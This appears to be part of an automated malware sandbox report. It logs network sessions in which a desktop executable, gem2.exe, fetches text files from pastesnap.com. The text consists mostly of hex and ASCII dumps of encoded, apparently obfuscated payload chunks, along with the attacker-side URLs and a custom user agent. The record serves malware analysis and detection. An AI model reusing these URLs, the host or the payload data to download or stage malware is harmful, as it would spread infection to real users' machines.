2025-01-12 08:26:20 UTC	1369	IN	Data Raw: 41 54 7a 71 2f 30 49 2b 30 39 4a 37 7a 71 4f 38 74 47 68 62 5a 56 59 4a 43 69 65 62 48 56 75 36 58 73 71 4c 6d 6b 6f 58 72 6b 37 58 51 6e 36 79 31 34 78 67 54 4c 4b 4b 77 61 41 51 75 4f 75 69 4a 71 4b 6e 6f 69 69 49 31 36 34 43 6b 75 57 4d 57 4c 53 46 73 47 34 37 50 76 6c 66 4f 37 57 49 2f 42 69 65 66 6c 66 65 54 30 37 47 6c 61 56 69 68 4c 49 31 47 51 4a 59 50 46 45 7a 74 74 58 77 48 4b 6b 4e 62 4a 59 2b 43 41 6f 6d 6a 4e 6e 6b 6e 57 62 65 39 39 53 39 43 44 56 56 45 4b 55 6b 57 64 32 6a 64 73 45 38 36 73 74 32 61 4d 4b 38 4c 43 46 30 64 48 4e 4d 69 55 47 6f 49 5a 54 71 31 6a 46 56 61 47 70 36 76 6b 59 56 6e 31 73 2b 6b 52 55 41 53 4b 55 73 4c 76 6f 4b 7a 54 73 67 7a 62 55 2b 41 2f 6f 77 70 5a 58 58 4d 4a 69 6c 6a 43 43 30 52 41 62 77 62 6f 4e 2b 2b 35 69 Data Ascii: ATzq/0I+09J7zqO8tGhbZVYJCiebHVu6XsqLmkoXrk7XQn6y14xgTLKKwaAQuOuiJqKnoiiI164CkuWMWLSFsG47PvlfO7WI/BieflfeT07GlaVihLI1GQJYPFEzttXwHKkNbJY+CAomjNnknWbe99S9CDVVEKUkWd2jdsE86st2aMK8LCF0dHNMiUGoIZTq1jFVaGp6vkYVn1s+kRUASKUsLvoKzTsgzbU+A/owpZXXMJiljCC0RAbwboN++5i
2025-01-12 08:26:20 UTC	1369	IN	Data Raw: 51 6b 52 68 32 7a 76 2b 6f 41 35 47 6d 6d 4d 4d 4d 72 37 4d 4a 6c 38 4a 63 67 79 4c 4d 70 43 32 42 4f 55 2f 47 4e 34 71 63 38 50 63 75 70 59 33 4d 4c 35 2b 38 77 53 50 76 4b 43 71 64 70 31 7a 38 37 74 46 32 68 47 61 72 6f 68 64 2f 51 52 69 6d 78 58 7a 45 4c 46 43 35 66 2b 53 35 79 6a 67 57 53 62 47 2b 4e 4a 50 66 32 6b 6e 78 67 30 61 58 6f 43 6d 2f 55 31 76 42 6d 69 33 4b 42 6a 66 62 33 6c 48 35 75 34 78 37 4e 33 67 42 69 57 6c 47 78 30 39 30 66 67 36 6b 4e 6b 78 4d 45 35 41 2f 51 6a 62 6b 4e 6c 75 73 54 47 61 33 48 4e 44 55 7a 39 6e 51 4e 2f 6e 47 41 42 56 54 32 59 4c 68 45 37 58 6d 73 47 32 47 5a 6b 31 67 69 31 59 45 4d 77 77 6c 65 4a 67 6f 44 4c 30 68 70 4e 6c 61 37 46 47 36 47 78 69 73 73 71 42 69 79 46 34 35 44 77 54 43 65 58 2f 6d 66 5a 58 76 65 71 Data Ascii: QkRh2zv+oA5GmmMMMr7MJl8JcgyLMpC2BOU/GN4qc8PcupY3ML5+8wSPvKCqdp1z87tF2hGarohd/QRimxXzELFC5f+S5yjgWSbG+NJPf2knxg0aXoCm/U1vBmi3KBjfb3lH5u4x7N3gBiWlGx090fg6kNkxME5A/QjbkNlusTGa3HNDUz9nQN/nGABVT2YLhE7XmsG2GZk1gi1YEMwwleJgoDL0hpNla7FG6GxissqBiyF45DwTCeX/mfZXveq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49727	104.21.60.172	443	2692	C:\Users\user\Desktop\gem2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-12 08:26:24 UTC	110	OUT	GET /STB/cGFzdGVzbmFwM.txt HTTP/1.1 User-Agent: MyUserAgent Host: pastesnap.com Cache-Control: no-cache
2025-01-12 08:26:24 UTC	916	IN	HTTP/1.1 200 OK Date: Sun, 12 Jan 2025 08:26:24 GMT Content-Type: text/plain Transfer-Encoding: chunked Connection: close Last-Modified: Sat, 11 Jan 2025 00:57:39 GMT ETag: W/"804395cfc363db1:0" Vary: Accept-Encoding X-Powered-By: ASP.NET X-Powered-By-Plesk: PleskWin cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5TDU4N4RSbVU4mP%2FD4u71qpe1bOlKiPgvz6CnZPGaUaKBiuq1WHg5eww5pH4tvrwvWRjFfM3QBeMlQct1VBMWg6OpLX4kioAvkxybDAzblAb%2FGg8IVs7GTb8btMw9y6b"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc2ecfed30f6d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1522&min_rtt=1510&rtt_var=592&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=748&delivery_rate=1810291&cwnd=239&unsent_bytes=0&cid=7756634a8c4387b5&ts=722&x=0"
2025-01-12 08:26:24 UTC	453	IN	Data Raw: 34 62 31 62 0d 0a 49 53 2f 2b 59 57 39 31 62 6d 46 6f 64 57 35 68 6b 34 70 75 59 64 52 31 62 6d 46 73 64 57 35 68 4c 48 56 75 59 57 78 31 62 6d 46 73 64 57 35 68 62 48 56 75 59 57 78 31 62 6d 46 73 64 57 35 68 62 48 56 75 59 57 78 31 62 6d 46 73 64 57 35 68 37 48 56 75 59 57 4a 71 31 47 39 73 77 57 65 73 54 63 31 76 4c 61 46 55 4f 67 6b 46 42 6b 34 52 48 68 6f 4a 45 77 30 59 54 67 49 4e 47 77 41 4f 47 46 55 4d 42 45 77 48 47 77 39 4d 48 41 42 42 4b 44 6f 39 51 51 45 61 43 67 52 43 65 47 4e 72 53 48 56 75 59 57 78 31 62 6d 45 38 4d 47 35 68 43 50 4e 6e 59 57 69 31 37 77 5a 73 64 57 35 68 62 48 56 75 59 5a 78 31 54 47 46 6e 64 32 42 49 62 43 74 73 59 57 79 68 62 6d 46 73 64 57 35 68 4c 5a 49 66 59 57 78 6c 62 6d 46 73 64 57 34 68 62 58 56 75 59 57 78 6c 62 Data Ascii: 4b1bIS/+YW91bmFodW5hk4puYdR1bmFsdW5hLHVuYWx1bmFsdW5hbHVuYWx1bmFsdW5hbHVuYWx1bmFsdW5h7HVuYWJq1G9swWesTc1vLaFUOgkFBk4RHhoJEw0YTgINGwAOGFUMBEwHGw9MHABBKDo9QQEaCgRCeGNrSHVuYWx1bmE8MG5hCPNnYWi17wZsdW5hbHVuYZx1TGFnd2BIbCtsYWyhbmFsdW5hLZIfYWxlbmFsdW4hbXVuYWxlb
2025-01-12 08:26:24 UTC	1369	IN	Data Raw: 68 78 4b 77 66 59 55 52 31 62 6d 47 63 50 71 39 68 4c 48 52 75 59 57 78 31 62 6d 46 73 64 57 35 68 62 4e 55 65 59 61 78 32 62 6d 46 73 64 57 35 68 62 48 56 75 59 57 78 31 62 6d 46 73 64 57 35 68 62 48 56 75 59 57 78 31 62 6d 46 43 41 51 73 5a 47 48 56 75 59 65 51 70 62 47 46 73 5a 57 35 68 62 48 56 75 59 57 78 31 62 6d 46 73 64 57 35 68 62 48 56 75 59 57 78 31 62 6d 46 4d 64 57 34 42 51 67 63 4b 41 42 67 55 62 6d 45 30 31 32 35 68 62 41 56 73 59 57 78 31 62 6d 46 73 64 57 35 68 62 48 56 75 59 57 78 31 62 6d 46 73 64 57 35 68 4c 48 56 75 49 55 49 52 44 78 55 4e 64 57 35 68 4c 47 5a 75 59 57 78 56 62 57 46 73 64 57 35 68 62 48 56 75 59 57 78 31 62 6d 46 73 64 57 35 68 62 48 56 75 59 53 78 31 62 71 46 43 42 51 6f 41 47 42 52 75 59 63 68 6a 62 6d 46 73 4e 57 Data Ascii: hxKwfYUR1bmGcPq9hLHRuYWx1bmFsdW5hbNUeYax2bmFsdW5hbHVuYWx1bmFsdW5hbHVuYWx1bmFCAQsZGHVuYeQpbGFsZW5hbHVuYWx1bmFsdW5hbHVuYWx1bmFMdW4BQgcKABgUbmE0125hbAVsYWx1bmFsdW5hbHVuYWx1bmFsdW5hLHVuIUIRDxUNdW5hLGZuYWxVbWFsdW5hbHVuYWx1bmFsdW5hbHVuYSx1bqFCBQoAGBRuYchjbmFsNW
2025-01-12 08:26:24 UTC	1369	IN	Data Raw: 31 57 46 73 64 57 35 68 39 41 76 56 59 57 78 31 62 6d 47 79 6d 74 4a 68 62 48 56 75 59 54 53 35 30 32 46 73 64 57 35 68 34 75 50 53 59 57 78 31 62 6d 46 34 4d 39 4e 68 62 48 56 75 59 54 6a 6b 72 6d 46 73 64 57 35 68 4f 6f 4c 55 59 57 78 31 62 6d 48 4b 36 74 56 68 62 48 56 75 59 61 70 56 30 6d 46 73 64 57 35 68 50 49 72 53 59 57 78 31 62 6d 47 34 55 4b 35 68 62 48 56 75 59 64 70 61 30 57 46 73 64 57 35 68 56 47 4c 51 59 57 78 31 62 6d 46 73 64 57 35 68 62 48 56 75 59 57 78 63 30 57 46 73 64 57 35 68 45 49 2f 53 59 57 78 31 62 6d 45 38 59 74 4a 68 62 48 56 75 59 5a 59 71 48 32 46 73 64 57 35 68 75 73 50 56 59 57 78 31 62 6d 46 73 64 57 35 68 62 48 56 75 59 59 49 6e 72 6d 46 73 64 57 35 68 35 71 63 66 59 57 78 31 62 6d 47 67 41 64 56 68 62 48 56 75 59 52 49 Data Ascii: 1WFsdW5h9AvVYWx1bmGymtJhbHVuYTS502FsdW5h4uPSYWx1bmF4M9NhbHVuYTjkrmFsdW5hOoLUYWx1bmHK6tVhbHVuYapV0mFsdW5hPIrSYWx1bmG4UK5hbHVuYdpa0WFsdW5hVGLQYWx1bmFsdW5hbHVuYWxc0WFsdW5hEI/SYWx1bmE8YtJhbHVuYZYqH2FsdW5husPVYWx1bmFsdW5hbHVuYYInrmFsdW5h5qcfYWx1bmGgAdVhbHVuYRI
2025-01-12 08:26:24 UTC	1369	IN	Data Raw: 52 38 5a 7a 30 57 6c 43 58 38 46 68 50 6b 2f 33 52 77 42 74 32 30 73 38 64 66 46 74 46 48 33 4a 58 56 42 74 6f 31 38 57 56 39 64 7a 4a 6e 2f 65 4c 31 37 76 35 6f 76 77 64 55 49 6a 57 73 66 73 68 42 68 35 65 43 79 4b 36 67 71 33 31 45 56 38 4c 49 7a 78 36 70 6f 4b 55 33 34 76 51 6c 6b 4a 72 72 51 6e 35 4f 4b 4d 33 33 70 42 31 70 70 31 71 61 79 65 6f 4d 42 62 6d 46 73 64 65 34 63 2b 63 35 2b 75 76 56 41 4d 5a 64 46 31 41 47 6d 64 77 30 68 53 78 38 52 54 45 69 4e 66 78 78 75 78 6b 5a 30 64 45 68 42 5a 71 45 30 72 61 2b 75 4e 2f 37 71 4f 37 37 71 57 6d 42 73 64 57 36 5a 2b 55 65 4e 4a 53 31 30 62 6d 46 78 61 79 78 72 79 50 6a 73 78 31 58 79 2b 44 79 32 41 35 41 78 46 52 4d 68 50 47 6c 5a 58 58 75 79 75 2b 42 44 2b 7a 49 36 67 51 75 2b 4f 31 72 47 67 62 5a 42 Data Ascii: R8Zz0WlCX8FhPk/3RwBt20s8dfFtFH3JXVBto18WV9dzJn/eL17v5ovwdUIjWsfshBh5eCyK6gq31EV8LIzx6poKU34vQlkJrrQn5OKM33pB1pp1qayeoMBbmFsde4c+c5+uvVAMZdF1AGmdw0hSx8RTEiNfxxuxkZ0dEhBZqE0ra+uN/7qO77qWmBsdW6Z+UeNJS10bmFxayxryPjsx1Xy+Dy2A5AxFRMhPGlZXXuyu+BD+zI6gQu+O1rGgbZB
2025-01-12 08:26:24 UTC	1369	IN	Data Raw: 6e 66 4c 72 6c 54 77 6b 7a 38 67 66 64 4f 48 70 50 46 4c 46 73 42 70 36 61 68 6b 78 4b 45 52 42 48 51 5a 72 46 37 69 72 58 50 4c 36 50 4c 6b 4a 36 54 63 49 71 38 74 67 51 6b 7a 6e 32 77 52 71 72 6d 52 41 6f 73 77 67 34 4b 6f 44 59 61 66 43 6b 4f 39 4b 34 4b 41 32 52 36 71 70 4b 4b 6b 5a 35 54 37 68 6d 62 48 6b 6b 4b 77 36 5a 42 34 72 75 50 67 58 4a 44 35 79 46 44 4f 2f 38 4a 79 30 4f 33 47 59 74 4c 37 71 6c 62 36 33 34 42 41 79 74 50 4d 65 48 47 4e 36 50 6b 6e 48 70 78 35 6d 61 33 63 33 4f 73 48 65 6e 5a 44 6b 39 54 45 2b 78 74 6b 52 61 4f 65 47 73 38 58 4a 72 42 5a 72 48 5a 4f 36 48 66 6b 6f 71 52 6c 32 7a 74 67 43 51 53 59 50 67 4c 64 67 45 4c 72 4e 46 70 46 62 67 72 74 57 77 74 4f 79 31 79 55 51 50 6d 79 49 4b 6a 35 59 4b 50 78 76 4f 33 31 44 52 6f 58 Data Ascii: nfLrlTwkz8gfdOHpPFLFsBp6ahkxKERBHQZrF7irXPL6PLkJ6TcIq8tgQkzn2wRqrmRAoswg4KoDYafCkO9K4KA2R6qpKKkZ5T7hmbHkkKw6ZB4ruPgXJD5yFDO/8Jy0O3GYtL7qlb634BAytPMeHGN6PknHpx5ma3c3OsHenZDk9TE+xtkRaOeGs8XJrBZrHZO6HfkoqRl2ztgCQSYPgLdgELrNFpFbgrtWwtOy1yUQPmyIKj5YKPxvO31DRoX
2025-01-12 08:26:24 UTC	1369	IN	Data Raw: 6c 46 63 6d 73 48 6d 46 73 64 57 34 67 76 4b 2b 70 2b 37 34 4d 47 79 6b 4e 43 38 6a 42 52 5a 50 78 69 53 33 72 47 43 6e 4e 61 2b 6b 42 56 51 74 49 6c 47 31 76 70 42 42 33 42 61 61 46 76 65 38 63 6a 33 2b 61 5a 6c 56 31 49 46 54 6e 42 2f 49 57 67 76 57 58 4c 50 38 76 61 67 61 46 62 62 68 54 6e 4e 55 46 4c 6d 42 73 64 57 34 46 77 53 65 58 4e 4e 53 6c 51 4f 59 30 39 65 69 2b 39 4e 54 59 54 79 52 31 77 44 61 4d 66 56 67 75 56 50 57 34 4c 73 51 30 6b 4a 61 55 52 4c 42 48 66 48 78 41 78 68 45 68 74 6a 62 67 6f 39 4e 6b 52 57 6d 35 6e 69 68 62 57 34 54 46 32 57 37 2b 7a 2f 74 62 56 4b 55 78 49 65 59 33 38 33 54 73 62 5a 46 6d 45 39 6e 4d 48 69 46 74 64 57 35 68 51 4a 42 30 30 42 5a 56 42 71 63 44 78 55 59 76 65 79 55 58 42 37 4e 39 6e 79 64 54 50 61 37 76 43 36 Data Ascii: lFcmsHmFsdW4gvK+p+74MGykNC8jBRZPxiS3rGCnNa+kBVQtIlG1vpBB3BaaFve8cj3+aZlV1IFTnB/IWgvWXLP8vagaFbbhTnNUFLmBsdW4FwSeXNNSlQOY09ei+9NTYTyR1wDaMfVguVPW4LsQ0kJaURLBHfHxAxhEhtjbgo9NkRWm5nihbW4TF2W7+z/tbVKUxIeY383TsbZFmE9nMHiFtdW5hQJB00BZVBqcDxUYveyUXB7N9nydTPa7vC6
2025-01-12 08:26:24 UTC	1369	IN	Data Raw: 4f 4b 77 59 66 38 33 4f 57 69 32 50 6c 47 42 4c 43 53 69 75 30 6f 75 52 6e 6d 70 31 42 32 63 73 43 65 34 4e 68 2b 62 74 69 73 30 75 67 70 72 67 78 69 34 71 70 56 51 56 45 58 35 58 6d 34 52 78 70 72 57 71 6b 6f 71 52 6e 74 35 4f 67 46 49 64 79 35 43 65 6b 36 73 4e 4c 57 2b 35 73 6b 68 4a 33 70 46 74 50 2b 58 73 5a 39 58 62 4b 6e 77 33 50 36 75 55 6b 78 4f 37 52 65 42 31 34 5a 32 2b 44 70 70 72 68 67 65 4a 41 51 55 57 45 41 4a 48 76 65 65 44 4e 6e 54 31 77 66 6b 70 33 62 76 5a 61 78 78 65 36 36 51 32 39 71 4e 38 6a 37 34 72 56 4c 59 4f 53 2f 7a 65 78 6c 4b 73 33 71 36 36 39 71 43 6a 76 2f 6f 76 4a 75 69 38 76 72 34 34 64 5a 32 75 61 6c 77 53 78 64 68 56 76 62 6b 32 59 50 75 7a 52 57 63 77 71 50 56 75 74 2f 38 36 78 47 65 62 6e 51 62 31 65 37 57 72 44 37 41 Data Ascii: OKwYf83OWi2PlGBLCSiu0ouRnmp1B2csCe4Nh+btis0ugprgxi4qpVQVEX5Xm4RxprWqkoqRnt5OgFIdy5Cek6sNLW+5skhJ3pFtP+XsZ9XbKnw3P6uUkxO7ReB14Z2+DpprhgeJAQUWEAJHveeDNnT1wfkp3bvZaxxe66Q29qN8j74rVLYOS/zexlKs3q669qCjv/ovJui8vr44dZ2ualwSxdhVvbk2YPuzRWcwqPVut/86xGebnQb1e7WrD7A
2025-01-12 08:26:24 UTC	1369	IN	Data Raw: 35 4b 4b 6b 57 66 42 63 43 57 42 74 7a 32 73 63 58 56 7a 4c 6d 30 54 36 6f 69 71 6b 6f 71 52 6e 73 57 64 58 71 4c 6a 35 78 57 6c 51 48 2f 34 6c 51 42 2f 2f 4e 69 64 65 6e 33 35 58 43 6e 56 79 6b 34 43 30 4a 2b 54 69 73 51 42 49 73 42 42 31 72 30 38 67 4e 34 36 6b 58 4b 64 68 4d 56 47 4c 38 74 74 6e 2b 37 2f 76 6a 31 55 77 58 38 31 30 79 79 73 35 69 41 5a 43 67 78 65 52 71 64 63 79 2b 63 35 49 78 5a 73 64 57 37 68 45 33 74 71 65 47 69 42 33 33 76 70 67 37 59 77 70 4e 63 4c 4c 42 74 31 62 6d 46 73 66 61 54 71 42 4c 45 42 66 4c 71 4c 58 49 34 4c 58 4f 2b 75 35 56 41 68 6c 30 30 74 51 52 62 64 62 43 6b 2f 46 5a 56 70 54 31 32 38 6b 55 5a 4e 2f 54 6c 2f 4c 36 4e 48 30 4c 73 36 53 68 33 35 58 36 31 51 78 49 77 50 5a 6f 4a 70 36 37 55 67 58 39 7a 34 72 58 32 4a Data Ascii: 5KKkWfBcCWBtz2scXVzLm0T6oiqkoqRnsWdXqLj5xWlQH/4lQB//Niden35XCnVyk4C0J+TisQBIsBB1r08gN46kXKdhMVGL8ttn+7/vj1UwX810yys5iAZCgxeRqdcy+c5IxZsdW7hE3tqeGiB33vpg7YwpNcLLBt1bmFsfaTqBLEBfLqLXI4LXO+u5VAhl00tQRbdbCk/FZVpT128kUZN/Tl/L6NH0Ls6Sh35X61QxIwPZoJp67UgX9z4rX2J
2025-01-12 08:26:24 UTC	1369	IN	Data Raw: 39 4a 37 7a 71 4f 38 74 47 68 62 5a 56 59 4a 43 69 65 62 48 56 75 36 58 73 71 4c 6d 6b 6f 58 72 6b 37 58 51 6e 36 79 31 34 78 67 54 4c 4b 4b 77 61 41 51 75 4f 75 69 4a 71 4b 6e 6f 69 69 49 31 36 34 43 6b 75 57 4d 57 4c 53 46 73 47 34 37 50 76 6c 66 4f 37 57 49 2f 42 69 65 66 6c 66 65 54 30 37 47 6c 61 56 69 68 4c 49 31 47 51 4a 59 50 46 45 7a 74 74 58 77 48 4b 6b 4e 62 4a 59 2b 43 41 6f 6d 6a 4e 6e 6b 6e 57 62 65 39 39 53 39 43 44 56 56 45 4b 55 6b 57 64 32 6a 64 73 45 38 36 73 74 32 61 4d 4b 38 4c 43 46 30 64 48 4e 4d 69 55 47 6f 49 5a 54 71 31 6a 46 56 61 47 70 36 76 6b 59 56 6e 31 73 2b 6b 52 55 41 53 4b 55 73 4c 76 6f 4b 7a 54 73 67 7a 62 55 2b 41 2f 6f 77 70 5a 58 58 4d 4a 69 6c 6a 43 43 30 52 41 62 77 62 6f 4e 2b 2b 35 69 50 63 6f 54 42 76 4a 4f 34 Data Ascii: 9J7zqO8tGhbZVYJCiebHVu6XsqLmkoXrk7XQn6y14xgTLKKwaAQuOuiJqKnoiiI164CkuWMWLSFsG47PvlfO7WI/BieflfeT07GlaVihLI1GQJYPFEzttXwHKkNbJY+CAomjNnknWbe99S9CDVVEKUkWd2jdsE86st2aMK8LCF0dHNMiUGoIZTq1jFVaGp6vkYVn1s+kRUASKUsLvoKzTsgzbU+A/owpZXXMJiljCC0RAbwboN++5iPcoTBvJO4
2025-01-12 08:26:24 UTC	1369	IN	Data Raw: 41 35 47 6d 6d 4d 4d 4d 72 37 4d 4a 6c 38 4a 63 67 79 4c 4d 70 43 32 42 4f 55 2f 47 4e 34 71 63 38 50 63 75 70 59 33 4d 4c 35 2b 38 77 53 50 76 4b 43 71 64 70 31 7a 38 37 74 46 32 68 47 61 72 6f 68 64 2f 51 52 69 6d 78 58 7a 45 4c 46 43 35 66 2b 53 35 79 6a 67 57 53 62 47 2b 4e 4a 50 66 32 6b 6e 78 67 30 61 58 6f 43 6d 2f 55 31 76 42 6d 69 33 4b 42 6a 66 62 33 6c 48 35 75 34 78 37 4e 33 67 42 69 57 6c 47 78 30 39 30 66 67 36 6b 4e 6b 78 4d 45 35 41 2f 51 6a 62 6b 4e 6c 75 73 54 47 61 33 48 4e 44 55 7a 39 6e 51 4e 2f 6e 47 41 42 56 54 32 59 4c 68 45 37 58 6d 73 47 32 47 5a 6b 31 67 69 31 59 45 4d 77 77 6c 65 4a 67 6f 44 4c 30 68 70 4e 6c 61 37 46 47 36 47 78 69 73 73 71 42 69 79 46 34 35 44 77 54 43 65 58 2f 6d 66 5a 58 76 65 71 45 6d 2f 36 43 43 4d 67 41 Data Ascii: A5GmmMMMr7MJl8JcgyLMpC2BOU/GN4qc8PcupY3ML5+8wSPvKCqdp1z87tF2hGarohd/QRimxXzELFC5f+S5yjgWSbG+NJPf2knxg0aXoCm/U1vBmi3KBjfb3lH5u4x7N3gBiWlGx090fg6kNkxME5A/QjbkNlusTGa3HNDUz9nQN/nGABVT2YLhE7XmsG2GZk1gi1YEMwwleJgoDL0hpNla7FG6GxissqBiyF45DwTCeX/mfZXveqEm/6CCMgA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49774	104.21.60.172	443	2692	C:\Users\user\Desktop\gem2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-12 08:26:31 UTC	110	OUT	GET /STB/cGFzdGVzbmFwR.txt HTTP/1.1 User-Agent: MyUserAgent Host: pastesnap.com Cache-Control: no-cache
2025-01-12 08:26:32 UTC	922	IN	HTTP/1.1 200 OK Date: Sun, 12 Jan 2025 08:26:32 GMT Content-Type: text/plain Transfer-Encoding: chunked Connection: close Last-Modified: Mon, 30 Dec 2024 22:25:18 GMT ETag: W/"01b94b495bdb1:0" Vary: Accept-Encoding X-Powered-By: ASP.NET X-Powered-By-Plesk: PleskWin cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XPpAu3BlDBteC%2FOmOPArMok1%2Bag4MfunF7ReTDxuu7H28UlZaR8jVoc%2FQ8%2Fr7g9%2FOUxfric4gHPyCmxRkbpyozv4QbUjXsJbWyzNvs6PaqbYlac%2B6BaGm59S8XSBKrdL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc31dc9e5433d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1697&min_rtt=1694&rtt_var=641&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=748&delivery_rate=1698662&cwnd=252&unsent_bytes=0&cid=c3aa89f02728970f&ts=373&x=0"
2025-01-12 08:26:32 UTC	447	IN	Data Raw: 36 38 34 63 0d 0a 49 53 2f 2b 59 57 39 31 62 6d 46 6f 64 57 35 68 6b 34 70 75 59 64 52 31 62 6d 46 73 64 57 35 68 4c 48 56 75 59 57 78 31 62 6d 46 73 64 57 35 68 62 48 56 75 59 57 78 31 62 6d 46 73 64 57 35 68 62 48 56 75 59 57 78 31 62 6d 46 73 64 57 35 68 68 48 56 75 59 51 51 48 31 47 39 73 77 57 65 73 54 63 31 76 4c 61 46 55 4f 67 6b 46 42 6b 34 52 48 68 6f 4a 45 77 30 59 54 67 49 4e 47 77 41 4f 47 46 55 4d 42 45 77 48 47 77 39 4d 48 41 42 42 4b 44 6f 39 51 51 45 61 43 67 52 43 65 47 4e 72 53 48 56 75 59 57 78 31 62 6d 48 72 2b 4c 77 79 72 35 6e 53 59 61 2b 5a 30 6d 47 76 6d 64 4a 68 35 4f 48 55 59 4b 36 5a 30 6d 48 6b 34 64 4e 67 6f 70 6e 53 59 61 2b 5a 30 32 48 4e 6d 64 4a 68 35 42 7a 61 59 4b 6d 5a 30 6d 48 6b 48 43 31 68 72 70 6e 53 59 61 2b 5a 52 Data Ascii: 684cIS/+YW91bmFodW5hk4puYdR1bmFsdW5hLHVuYWx1bmFsdW5hbHVuYWx1bmFsdW5hbHVuYWx1bmFsdW5hhHVuYQQH1G9swWesTc1vLaFUOgkFBk4RHhoJEw0YTgINGwAOGFUMBEwHGw9MHABBKDo9QQEaCgRCeGNrSHVuYWx1bmHr+Lwyr5nSYa+Z0mGvmdJh5OHUYK6Z0mHk4dNgopnSYa+Z02HNmdJh5BzaYKmZ0mHkHC1hrpnSYa+ZR
2025-01-12 08:26:32 UTC	1369	IN	Data Raw: 6d 46 73 5a 57 35 68 62 48 56 2b 59 57 78 6c 62 6d 46 73 64 57 35 68 66 48 56 75 59 57 78 31 62 6d 46 73 64 57 35 68 50 45 78 75 59 52 52 31 62 6d 46 73 4e 57 35 68 56 43 39 73 59 57 78 31 62 6d 46 73 64 57 35 68 62 48 56 75 59 57 78 31 62 6d 46 73 31 57 78 68 6a 48 56 75 59 58 42 4e 62 6d 46 55 64 57 35 68 62 48 56 75 59 57 78 31 62 6d 46 73 64 57 35 68 62 48 56 75 59 57 78 31 62 6d 46 73 64 57 35 68 62 48 56 75 59 57 78 31 62 6d 46 73 64 57 35 68 62 48 56 75 59 57 78 56 62 6d 48 6b 64 57 35 68 62 48 56 75 59 57 78 31 62 6d 46 73 64 57 35 68 62 48 56 75 59 57 78 31 62 6d 46 73 64 57 35 68 51 67 45 4c 47 52 68 31 62 6d 48 50 66 6d 35 68 62 47 56 75 59 57 78 35 62 6d 46 73 63 57 35 68 62 48 56 75 59 57 78 31 62 6d 46 73 64 57 35 68 54 48 56 75 41 55 49 48 Data Ascii: mFsZW5hbHV+YWxlbmFsdW5hfHVuYWx1bmFsdW5hPExuYRR1bmFsNW5hVC9sYWx1bmFsdW5hbHVuYWx1bmFs1WxhjHVuYXBNbmFUdW5hbHVuYWx1bmFsdW5hbHVuYWx1bmFsdW5hbHVuYWx1bmFsdW5hbHVuYWxVbmHkdW5hbHVuYWx1bmFsdW5hbHVuYWx1bmFsdW5hQgELGRh1bmHPfm5hbGVuYWx5bmFscW5hbHVuYWx1bmFsdW5hTHVuAUIH
2025-01-12 08:26:32 UTC	1369	IN	Data Raw: 4e 58 46 4a 41 42 62 79 66 6e 73 7a 43 6f 72 79 44 6c 6a 65 32 5a 65 6d 42 73 64 65 50 6b 67 49 75 52 6e 71 76 77 67 70 2b 54 69 6e 70 67 62 48 55 2b 69 58 70 31 62 6d 47 54 70 65 75 68 46 48 6e 74 33 4a 79 4c 6b 5a 35 6d 62 71 34 68 70 62 5a 64 6f 61 57 32 42 73 46 4e 4e 57 36 65 65 56 46 4f 49 57 7a 77 72 68 56 68 48 63 4a 41 4c 48 55 2b 6e 6e 6c 5a 54 69 46 73 74 6c 32 68 72 79 44 6c 6a 65 32 5a 36 6d 46 73 64 54 30 33 35 30 41 32 51 53 78 31 58 62 6f 37 4a 4a 47 33 42 46 6c 4d 49 57 7a 38 4b 35 32 54 6f 2b 57 5a 42 47 46 4d 49 57 7a 38 45 36 32 54 6f 35 45 55 59 50 77 72 71 5a 4f 6a 42 75 31 4e 4e 57 37 6f 4b 62 47 52 74 77 54 6c 54 79 46 73 2f 43 75 68 6b 36 4d 39 4d 75 55 77 30 70 35 35 39 55 34 68 62 50 43 75 62 75 53 53 62 47 46 73 4a 6a 30 79 42 Data Ascii: NXFJABbyfnszCoryDlje2ZemBsdePkgIuRnqvwgp+TinpgbHU+iXp1bmGTpeuhFHnt3JyLkZ5mbq4hpbZdoaW2BsFNNW6eeVFOIWzwrhVhHcJALHU+nnlZTiFstl2hryDlje2Z6mFsdT0350A2QSx1Xbo7JJG3BFlMIWz8K52To+WZBGFMIWz8E62To5EUYPwrqZOjBu1NNW7oKbGRtwTlTyFs/Cuhk6M9MuUw0p559U4hbPCubuSSbGFsJj0yB
2025-01-12 08:26:32 UTC	1369	IN	Data Raw: 47 64 67 52 6e 50 79 59 45 6e 6a 2b 4b 65 78 56 4d 4e 57 37 6b 72 41 78 6c 58 48 56 30 62 2b 46 6a 38 49 56 68 62 48 58 6a 4a 4a 44 38 4d 35 30 38 48 65 5a 42 4c 48 55 45 59 44 38 64 78 6b 45 73 64 5a 46 30 46 46 55 75 59 65 6d 31 59 65 6d 6c 64 57 35 68 34 54 43 32 4d 5a 4e 67 4f 6b 45 73 64 65 32 4e 66 50 34 72 6e 65 65 4a 34 78 53 30 39 6f 4a 78 35 33 33 4c 78 4d 6e 51 35 5a 33 68 41 4c 62 69 67 47 58 4c 78 4d 6e 51 35 5a 33 68 41 4c 62 69 67 47 58 4c 78 4d 6e 51 35 5a 33 68 41 4c 59 78 79 64 44 4c 78 4a 4d 6b 52 75 53 73 44 52 6a 71 4b 59 6e 6a 4e 4a 67 6e 6b 52 53 45 2f 44 4f 56 35 33 30 2b 6e 6a 31 70 36 36 45 55 4b 75 55 6b 6d 50 67 37 6d 54 36 4b 47 34 33 6c 4b 4a 62 71 5a 43 57 52 4d 46 6a 77 72 68 6c 54 2b 43 75 70 50 49 70 37 4e 55 77 31 62 75 Data Ascii: 